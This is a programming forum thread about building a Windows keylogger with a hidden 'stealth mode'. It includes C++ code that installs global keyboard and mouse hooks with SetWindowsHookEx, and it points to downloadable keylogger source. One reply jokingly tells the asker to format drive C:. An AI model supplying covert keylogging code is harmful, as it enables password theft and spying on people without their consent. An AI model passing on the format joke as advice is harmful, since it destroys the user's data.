   KeyLogger
  I've been working on games with C++.Net/DirectX/WinXP, but...I'd really like to make my own (free) Key-Logger program.  I really don't know how to go about doing this, but I have made a program that runs from the command prompt and will send all input to an output.txt file.  This is kind of what I want, but it doesn't work unless I type text 'In' the command prompt.  It obviously doesn't record anything typed in Word, Notepad, etc.How can I get this to work without the focus being inside the command prompt?How can you setup a stealth mode, where the program won't show in the taskbar?I've googled of course, but all I ever get is "try our free version, then buy our better version". :-)Thank You.   
  Any legal reason why you need this program? Especially the stealth feature worries me.   ;  Obviously a password grabber/spy tool. ;)   ;  Oh, nothing illegal.  LOL!  I just wanted to make it for personal home use.  They're used for monitoring, like a parental control type of thing.   ;  You need to set your IDE compiler program to "format", and pass the parameter "c:".I dont actually know how to do it, but look into hooks or something.  I heard those mentioned once.   ;  I found this site by googlingVenky's World - Projects. It has source for keyloggers and programs to stop keylogger programs [grin].   ;  The site where I found this appears to be dead, so I uploaded it here. If you get an error because CreateThreadEx isn't defined, don't sweat it, just use CreateThread instead. This code works on W2K and XP and maybe NT 4.0. I haven't tested it on NT 4.0. It doesn't work on W95/W98.   ;  I do know that programs like Zone Alarm and Spyware Doctor scan for programs that setup system-wide keyboard monitoring with SetWindowsHookEx().Setting the last parameter to zero means you want to monitor all threads,so they will detect this.  But what I find most disturbing is that doesn't matter if your program is a keyloggeror not, they'll hype it up as a security risk.  There are perfectly valid reasonswhy you want to use SetWindowsHookEx(), but these companies don't care about that.  They just want to scare people with false positives so they can sell more copies of their software.   ;  Some quick and dirty source snipped from an old project of mine:LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam){if (nCode < 0){return CallNextHookEx(hMyHook, nCode, wParam, lParam);}if(nCode == HC_ACTION){VerifyWnd();PostMessage(hMainWnd, WM_APP, wParam, lParam);}return CallNextHookEx(hMyHook, nCode, wParam, lParam);}LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam){if (nCode < 0){return CallNextHookEx(hMouseHook, nCode, wParam, lParam);}if(nCode == HC_ACTION){VerifyWnd();PostMessage(hMainWnd, WM_APP + 1, wParam, lParam);}return CallNextHookEx(hMouseHook, nCode, wParam, lParam);}BOOL __declspec(dllexport) __stdcall InstallHook(HWND hWnd){if(!IsWindow(hWnd))return FALSE;if (hMyHook == NULL){hookProc = (HOOKPROC)KeyHookProc;hMyHook = SetWindowsHookEx(WH_KEYBOARD, hookProc, hInstance, NULL);}if (hMouseHook == NULL){theMouseHookProc = (HOOKPROC)MouseHookProc;hMouseHook = SetWindowsHookEx(WH_MOUSE, theMouseHookProc, hInstance, NULL);}hMainWnd = hWnd;if (hMyHook && hMouseHook)return TRUE;return FALSE;}It's ugly but it works, mostly [wink] This particular code is set up to run from a DLL, which is loaded by a separate .EXE program with LoadLibrary(). If in doubt on how any of that works or what it's doing, hit up MSDN and it should be able to explain everything. If that still fails, use the source LessBread posted, because it's probably a lot better [grin]   ;Quote:Original post by slowmikeOh, nothing illegal.  LOL!  I just wanted to make it for personal home use.  They're used for monitoring, like a parental control type of thing.That's not necessary. Just ASK your kids if they visit websites with grubby pictures. If they say no, ask them to tell you the truth instead.   